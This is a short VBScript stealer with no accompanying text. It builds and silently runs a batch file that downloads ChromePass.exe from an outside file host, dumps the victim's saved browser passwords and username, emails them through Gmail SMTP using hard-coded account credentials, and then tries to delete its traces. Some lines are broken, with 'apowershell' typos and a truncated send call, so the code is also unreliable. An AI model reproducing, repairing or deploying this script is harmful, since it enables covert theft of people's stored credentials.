Dim FSO, juan, shell
		Set shell = CreateObject("WScript.Shell")
		Set FSO = CreateObject("Scripting.FileSystemObject")
		Set juan = FSO.OpenTextFile("a.bat", 2, True)
		With juan
		.WriteLine "powershell  wget -Uri 'https://ddl2.data.hu/get/241135/10305370/ChromePass.exe' -OutFile a.exe"
		.WriteLine "powershell exit"
		.WriteLine "start a.exe /stext a.txt"
		.writeline "echo %username% > aa.txt"
		.writeline "powershell $a= get-content a.txt ;$aa= get-content aa.txt; $SMTPServer = 'smtp.gmail.com' ; $SMTPInfo = New-Object Net.Mail.SmtpClient($SmtpServer, 587) ; $SMTPInfo.EnableSsl = $true ; $SMTPInfo.Credentials = New-Object System.Net.NetworkCredential		('cuentax228@gmail.com', '123456789pene') ; $ReportEmail = New-Object System.Net.Mail.MailMessage ; $ReportEmail.From = 'cuentax228@gmail.com' ; $ReportEmail.To.Add('cuentax228@gmail.com') ; $ReportEmail.Subject = $aa ; $ReportEmail.Body = ($a) ; $SMTPInfo.Sen($ReportEmail)"
		.writeline "apowershell del a.txt"
		.writeline "apowershell del a.exe"
		.writeline "apowershell del aa.txt"
		.writeline "apowershell del a.vbs"
		.writeline "apowershell del a.bat"
		.Close
		shell.Run "a.bat",vbhide
		End With